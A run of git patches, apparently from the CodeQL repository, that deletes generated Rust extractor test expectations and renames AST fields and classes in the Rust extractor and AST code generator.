-| file://:0:0:0:0 | ParamList | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | Path | -| file://:0:0:0:0 | RefTypeRepr | -| file://:0:0:0:0 | RefTypeRepr | -| file://:0:0:0:0 | RetTypeRepr | -| file://:0:0:0:0 | StmtList | -| file://:0:0:0:0 | fn get_parent | -| file://:0:0:0:0 | get_parent | -| file://:0:0:0:0 | parent | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path | -| file://:0:0:0:0 | path.parent(...) | -| file://:0:0:0:0 | std | -| file://:0:0:0:0 | std | -| file://:0:0:0:0 | std | -| file://:0:0:0:0 | unwrap | -| file://:0:0:0:0 | use ...::Path | -| file://:0:0:0:0 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected deleted file mode 100644 index 427af7c6ed0..00000000000 --- a/rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_match_expr.rs:5:5:8:5 | match x { ... } | gen_match_expr.rs:5:11:5:11 | x | -| gen_match_expr.rs:9:5:12:5 | match x { ... } | gen_match_expr.rs:9:11:9:11 | x | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.expected deleted file mode 100644 index 9f20d2b07dd..00000000000 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | gen_method_call_expr.rs:5:7:5:9 | foo | -| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | gen_method_call_expr.rs:6:7:6:9 | foo | diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.expected deleted file mode 100644 index dfa33cf9611..00000000000 --- a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.expected +++ /dev/null @@ -1,23 +0,0 @@ -| gen_path.rs:5:9:5:18 | some_crate | gen_path.rs:5:9:5:18 | some_crate | -| gen_path.rs:5:21:5:31 | some_module | gen_path.rs:5:21:5:31 | some_module | -| gen_path.rs:5:34:5:42 | some_item | gen_path.rs:5:34:5:42 | some_item | -| gen_path.rs:6:5:6:7 | foo | gen_path.rs:6:5:6:7 | foo | -| gen_path.rs:6:10:6:12 | bar | gen_path.rs:6:10:6:12 | bar | -| gen_path_expr.rs:5:13:5:20 | variable | gen_path_expr.rs:5:13:5:20 | variable | -| gen_path_expr.rs:6:13:6:15 | foo | gen_path_expr.rs:6:13:6:15 | foo | -| gen_path_expr.rs:6:18:6:20 | bar | gen_path_expr.rs:6:18:6:20 | bar | -| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T | -| gen_path_expr.rs:7:18:7:20 | foo | gen_path_expr.rs:7:18:7:20 | foo | -| gen_path_expr.rs:8:14:8:21 | TypeRepr | gen_path_expr.rs:8:14:8:21 | TypeRepr | -| gen_path_expr.rs:8:26:8:30 | Trait | gen_path_expr.rs:8:26:8:30 | Trait | -| gen_path_expr.rs:8:34:8:36 | foo | gen_path_expr.rs:8:34:8:36 | foo | -| gen_path_pat.rs:5:11:5:11 | x | gen_path_pat.rs:5:11:5:11 | x | -| gen_path_pat.rs:6:9:6:11 | Foo | gen_path_pat.rs:6:9:6:11 | Foo | -| gen_path_pat.rs:6:14:6:16 | Bar | gen_path_pat.rs:6:14:6:16 | Bar | -| gen_path_type_repr.rs:5:14:5:16 | std | gen_path_type_repr.rs:5:14:5:16 | std | -| gen_path_type_repr.rs:5:19:5:29 | collections | gen_path_type_repr.rs:5:19:5:29 | collections | -| gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | gen_path_type_repr.rs:5:32:5:38 | HashMap | -| gen_path_type_repr.rs:5:40:5:42 | i32 | gen_path_type_repr.rs:5:40:5:42 | i32 | -| gen_path_type_repr.rs:5:45:5:47 | i32 | gen_path_type_repr.rs:5:45:5:47 | i32 | -| gen_path_type_repr.rs:6:14:6:14 | X | gen_path_type_repr.rs:6:14:6:14 | X | -| gen_path_type_repr.rs:6:17:6:20 | Item | gen_path_type_repr.rs:6:17:6:20 | Item | diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getParamList.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getParamList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected deleted file mode 100644 index 99ac97381b3..00000000000 --- a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_path_expr.rs:7:13:7:15 | <...> | gen_path_expr.rs:7:14:7:14 | T | -| gen_path_expr.rs:8:13:8:31 | <...> | gen_path_expr.rs:8:14:8:21 | TypeRepr | diff --git a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected b/rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected deleted file mode 100644 index 08c6bcb966d..00000000000 --- a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected +++ /dev/null @@ -1,8 +0,0 @@ -| gen_path_expr.rs:7:14:7:14 | T | hasPath: | yes | -| gen_path_expr.rs:7:14:7:14 | T | hasPath: | yes | -| gen_path_expr.rs:8:14:8:20 | TypeRepr | hasPath: | yes | -| gen_path_expr.rs:8:14:8:20 | TypeRepr | hasPath: | yes | -| gen_path_type_ref.rs:5:14:5:48 | ...::HashMap::<...> | hasPath: | yes | -| gen_path_type_ref.rs:5:40:5:42 | i32 | hasPath: | yes | -| gen_path_type_ref.rs:5:45:5:47 | i32 | hasPath: | yes | -| gen_path_type_ref.rs:6:14:6:20 | ...::Item | hasPath: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected b/rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected deleted file mode 100644 index 1c4f84c6a60..00000000000 --- a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected +++ /dev/null @@ -1,8 +0,0 @@ -| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T | -| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T | -| gen_path_expr.rs:8:14:8:20 | TypeRepr | gen_path_expr.rs:8:14:8:20 | TypeRepr | -| gen_path_expr.rs:8:14:8:20 | TypeRepr | gen_path_expr.rs:8:14:8:20 | TypeRepr | -| gen_path_type_ref.rs:5:14:5:48 | ...::HashMap::<...> | gen_path_type_ref.rs:5:14:5:48 | ...::HashMap::<...> | -| gen_path_type_ref.rs:5:40:5:42 | i32 | gen_path_type_ref.rs:5:40:5:42 | i32 | -| gen_path_type_ref.rs:5:45:5:47 | i32 | gen_path_type_ref.rs:5:45:5:47 | i32 | -| gen_path_type_ref.rs:6:14:6:20 | ...::Item | gen_path_type_ref.rs:6:14:6:20 | ...::Item | diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected deleted file mode 100644 index 90cc595d61e..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected +++ /dev/null @@ -1,4 +0,0 @@ -| gen_record_expr.rs:5:17:5:34 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes | -| gen_record_expr.rs:6:18:6:38 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes | -| gen_record_expr.rs:7:5:7:22 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes | -| gen_record_expr.rs:8:5:8:14 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected deleted file mode 100644 index 5aad8aad60c..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected +++ /dev/null @@ -1,4 +0,0 @@ -| gen_record_expr.rs:5:17:5:34 | Foo {...} | gen_record_expr.rs:5:17:5:19 | Foo | -| gen_record_expr.rs:6:18:6:38 | Foo {...} | gen_record_expr.rs:6:18:6:20 | Foo | -| gen_record_expr.rs:7:5:7:22 | Foo {...} | gen_record_expr.rs:7:5:7:7 | Foo | -| gen_record_expr.rs:8:5:8:14 | Foo {...} | gen_record_expr.rs:8:5:8:7 | Foo | diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected deleted file mode 100644 index 79d18cac3b0..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected +++ /dev/null @@ -1,4 +0,0 @@ -| gen_record_expr.rs:5:17:5:34 | Foo {...} | gen_record_expr.rs:5:21:5:34 | RecordExprFieldList | -| gen_record_expr.rs:6:18:6:38 | Foo {...} | gen_record_expr.rs:6:22:6:38 | RecordExprFieldList | -| gen_record_expr.rs:7:5:7:22 | Foo {...} | gen_record_expr.rs:7:9:7:22 | RecordExprFieldList | -| gen_record_expr.rs:8:5:8:14 | Foo {...} | gen_record_expr.rs:8:9:8:14 | RecordExprFieldList | diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected deleted file mode 100644 index 46e7ce811bb..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_expr_field.rs:5:11:5:14 | a: 1 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes | -| gen_record_expr_field.rs:5:17:5:20 | b: 2 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected deleted file mode 100644 index cfb89242449..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_expr_field.rs:5:11:5:14 | a: 1 | gen_record_expr_field.rs:5:14:5:14 | 1 | -| gen_record_expr_field.rs:5:17:5:20 | b: 2 | gen_record_expr_field.rs:5:20:5:20 | 2 | diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected deleted file mode 100644 index d0a3f82cd9d..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_expr_field.rs:5:11:5:14 | a: 1 | gen_record_expr_field.rs:5:11:5:11 | a | -| gen_record_expr_field.rs:5:17:5:20 | b: 2 | gen_record_expr_field.rs:5:17:5:17 | b | diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.expected b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.expected b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getExpr.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getExpr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected deleted file mode 100644 index 9b996be2368..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_pat.rs:6:9:6:26 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordPatFieldList: | yes | -| gen_record_pat.rs:7:9:7:18 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordPatFieldList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected deleted file mode 100644 index 7cd2f51d9eb..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_pat.rs:6:9:6:26 | Foo {...} | gen_record_pat.rs:6:9:6:11 | Foo | -| gen_record_pat.rs:7:9:7:18 | Foo {...} | gen_record_pat.rs:7:9:7:11 | Foo | diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected deleted file mode 100644 index bad0003c07b..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_pat.rs:6:9:6:26 | Foo {...} | gen_record_pat.rs:6:13:6:26 | RecordPatFieldList | -| gen_record_pat.rs:7:9:7:18 | Foo {...} | gen_record_pat.rs:7:13:7:18 | RecordPatFieldList | diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected deleted file mode 100644 index 46761f6939a..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_pat_field.rs:5:15:5:18 | a: 1 | getNumberOfAttrs: | 0 | hasNameRef: | yes | hasPat: | yes | -| gen_record_pat_field.rs:5:21:5:24 | b: 2 | getNumberOfAttrs: | 0 | hasNameRef: | yes | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected deleted file mode 100644 index a75a5dc2d20..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_pat_field.rs:5:15:5:18 | a: 1 | gen_record_pat_field.rs:5:15:5:15 | a | -| gen_record_pat_field.rs:5:21:5:24 | b: 2 | gen_record_pat_field.rs:5:21:5:21 | b | diff --git a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected b/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected deleted file mode 100644 index d5fc014887a..00000000000 --- a/rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_record_pat_field.rs:5:15:5:18 | a: 1 | gen_record_pat_field.rs:5:18:5:18 | 1 | -| gen_record_pat_field.rs:5:21:5:24 | b: 2 | gen_record_pat_field.rs:5:24:5:24 | 2 | diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.expected b/rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.expected deleted file mode 100644 index feb2debc66e..00000000000 --- a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | gen_struct_expr_field.rs:5:11:5:11 | a | -| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | gen_struct_expr_field.rs:5:17:5:17 | b | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getExpr.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getExpr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.expected deleted file mode 100644 index b2f9c496747..00000000000 --- a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.expected +++ /dev/null @@ -1,2 +0,0 @@ -| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | gen_struct_pat_field.rs:5:15:5:15 | a | -| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | gen_struct_pat_field.rs:5:21:5:21 | b | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getGenericParamList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.expected deleted file mode 100644 index e69de29bb2d..00000000000 From 24f547074f3cdc965d2782d48e843dec40c58370 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 13:09:48 +0100 Subject: [PATCH 150/282] Rust: fix extractor compilation errors after renames --- rust/extractor/src/crate_graph.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 976c60abc8b..f0c03721574 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -476,7 +476,7 @@ fn emit_adt( name, field_list, attrs: vec![], - expr: None, + discriminant: None, visibility, }) }) @@ -1000,14 +1000,14 @@ fn make_qualified_path( qualifier: Option>, name: String, ) -> trap::Label { - let name_ref = Some(trap.emit(generated::NameRef { + let identifier = Some(trap.emit(generated::NameRef { id: trap::TrapId::Star, text: Some(name), })); let segment = Some(trap.emit(generated::PathSegment { id: trap::TrapId::Star, generic_arg_list: None, - name_ref, + identifier, parenthesized_arg_list: None, ret_type: None, return_type_syntax: None, @@ -1305,7 +1305,7 @@ fn emit_variant_data(trap: &mut TrapFile, db: &dyn HirDatabase, variant_id: Vari name, type_repr, visibility, - expr: None, + default: None, }) }) .collect(); From 0257b960dc5003f856b5069ca80f2d553ca65ba5 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 15:23:40 +0100 Subject: [PATCH 151/282] Rust: make `property_name` work on post-processed class names --- rust/ast-generator/src/main.rs | 57 ++++++++++++++++++---------------- 1 file changed, 30 insertions(+), 27 deletions(-) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 30c6ba1cf1e..712c9864f1e 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -32,7 +32,6 @@ fn class_name(type_name: &str) -> String { } fn property_name(type_name: &str, field_name: &str) -> String { - // N.B.: type names here are before any manipulation done by class_name let name = match (type_name, field_name) { ("CallExpr", "expr") => "function", ("LetExpr", "expr") => "scrutinee", @@ -42,9 +41,9 @@ fn property_name(type_name: &str, field_name: &str) -> String { (_, "name_ref") => "identifier", (_, "then_branch") => "then", (_, "else_branch") => "else_", - ("ArrayType", "ty") => "element_type_repr", + ("ArrayTypeRepr", "ty") => "element_type_repr", ("SelfParam", "is_amp") => "is_ref", - ("RecordField", "expr") => "default", + ("StructField", "expr") => "default", ("UseTree", "is_star") => "is_glob", (_, "ty") => "type_repr", _ if field_name.contains("record") => &field_name.replacen("record", "struct", 1), @@ -108,25 +107,27 @@ fn node_src_to_schema_class( node: &AstNodeSrc, super_types: &BTreeMap>, ) -> SchemaClass { + let name = class_name(&node.name); + let fields = get_fields(node) + .iter() + .map(|f| { + let (ty, child) = match &f.ty { + FieldType::String => ("optional[string]".to_string(), false), + FieldType::Predicate => ("predicate".to_string(), false), + FieldType::Optional(ty) => (format!("optional[\"{}\"]", class_name(ty)), true), + FieldType::List(ty) => (format!("list[\"{}\"]", class_name(ty)), true), + }; + SchemaField { + name: property_name(&name, &f.name), + ty, + child, + } + }) + .collect(); SchemaClass { - name: class_name(&node.name), + name, + fields, bases: get_bases(&node.name, super_types), - fields: get_fields(node) - .iter() - .map(|f| { - let (ty, child) = match &f.ty { - FieldType::String => ("optional[string]".to_string(), false), - FieldType::Predicate => ("predicate".to_string(), false), - FieldType::Optional(ty) => (format!("optional[\"{}\"]", class_name(ty)), true), - FieldType::List(ty) => (format!("list[\"{}\"]", class_name(ty)), true), - }; - SchemaField { - name: property_name(&node.name, &f.name), - ty, - child, - } - }) - .collect(), } } @@ -489,8 +490,8 @@ fn enum_to_extractor_info(node: &AstEnumSrc) -> Option { }) } -fn field_info_to_extractor_info(node: &AstNodeSrc, field: &FieldInfo) -> ExtractorNodeFieldInfo { - let name = property_name(&node.name, &field.name); +fn field_info_to_extractor_info(name: &str, field: &FieldInfo) -> ExtractorNodeFieldInfo { + let name = property_name(name, &field.name); match &field.ty { FieldType::String => ExtractorNodeFieldInfo { name, @@ -522,14 +523,16 @@ fn field_info_to_extractor_info(node: &AstNodeSrc, field: &FieldInfo) -> Extract fn node_to_extractor_info(node: &AstNodeSrc) -> ExtractorNodeInfo { let fields = get_fields(node); let has_attrs = fields.iter().any(|f| f.name == "attrs"); + let name = class_name(&node.name); + let fields = fields + .iter() + .map(|f| field_info_to_extractor_info(&name, f)) + .collect(); ExtractorNodeInfo { - name: class_name(&node.name), + name, snake_case_name: to_lower_snake_case(&node.name), ast_name: node.name.clone(), - fields: fields - .iter() - .map(|f| field_info_to_extractor_info(node, f)) - .collect(), + fields, has_attrs, } } From 0b1f89a02eb9a5a08ab94001f8dde5c6089c9a26 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 15:24:56 +0100 Subject: [PATCH 152/282] Rust: add `ast-generator` to `pre-commit` trigger of rust codegen --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index c0bd4abd0d0..42333e91289 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -72,7 +72,7 @@ repos: - id: rust-codegen name: Run Rust checked in code generation - files: ^misc/codegen/|^rust/(prefix\.dbscheme|schema/|codegen/|.*/generated/|ql/lib/(rust\.dbscheme$|codeql/rust/elements)|\.generated.list) + files: ^misc/codegen/|^rust/(prefix\.dbscheme|schema/|codegen/|.*/generated/|ql/lib/(rust\.dbscheme$|codeql/rust/elements)|\.generated.list|ast-generator/) language: system entry: bazel run //rust/codegen -- --quiet pass_filenames: false From 1c89b5185a0d9b4b05d5f66be158eb08256457ad Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 15:28:32 +0100 Subject: [PATCH 153/282] Rust: rename `RecordFieldList` to `StructFieldList` --- rust/ast-generator/src/main.rs | 8 +- rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 122 +++++++++--------- rust/extractor/src/translate/generated.rs | 6 +- rust/ql/.generated.list | 26 ++-- rust/ql/.gitattributes | 12 +- rust/ql/lib/codeql/rust/elements.qll | 2 +- ...ecordFieldList.qll => StructFieldList.qll} | 6 +- rust/ql/lib/codeql/rust/elements/Union.qll | 2 +- ...tor.qll => StructFieldListConstructor.qll} | 6 +- ...ldListImpl.qll => StructFieldListImpl.qll} | 8 +- .../internal/generated/ParentChild.qll | 42 +++--- .../rust/elements/internal/generated/Raw.qll | 36 +++--- ...ecordFieldList.qll => StructFieldList.qll} | 22 ++-- .../elements/internal/generated/Synth.qll | 38 +++--- .../internal/generated/SynthConstructors.qll | 2 +- .../elements/internal/generated/Union.qll | 6 +- rust/ql/lib/rust.dbscheme | 28 ++-- .../generated/.generated_tests.list | 2 +- .../extractor-tests/generated/.gitattributes | 2 +- .../generated/Path/Path_getPart.expected | 25 ---- .../RecordFieldList/RecordFieldList.expected | 0 .../RecordFieldList_getField.expected | 0 .../StructFieldList.ql} | 2 +- .../StructFieldList_getField.ql} | 2 +- .../gen_struct_field_list.rs} | 2 +- rust/schema/annotations.py | 3 +- rust/schema/ast.py | 4 +- 28 files changed, 195 insertions(+), 221 deletions(-) rename rust/ql/lib/codeql/rust/elements/{RecordFieldList.qll => StructFieldList.qll} (57%) rename rust/ql/lib/codeql/rust/elements/internal/{RecordFieldListConstructor.qll => StructFieldListConstructor.qll} (64%) rename rust/ql/lib/codeql/rust/elements/internal/{RecordFieldListImpl.qll => StructFieldListImpl.qll} (67%) rename rust/ql/lib/codeql/rust/elements/internal/generated/{RecordFieldList.qll => StructFieldList.qll} (59%) delete mode 100644 rust/ql/test/extractor-tests/generated/Path/Path_getPart.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.expected delete mode 100644 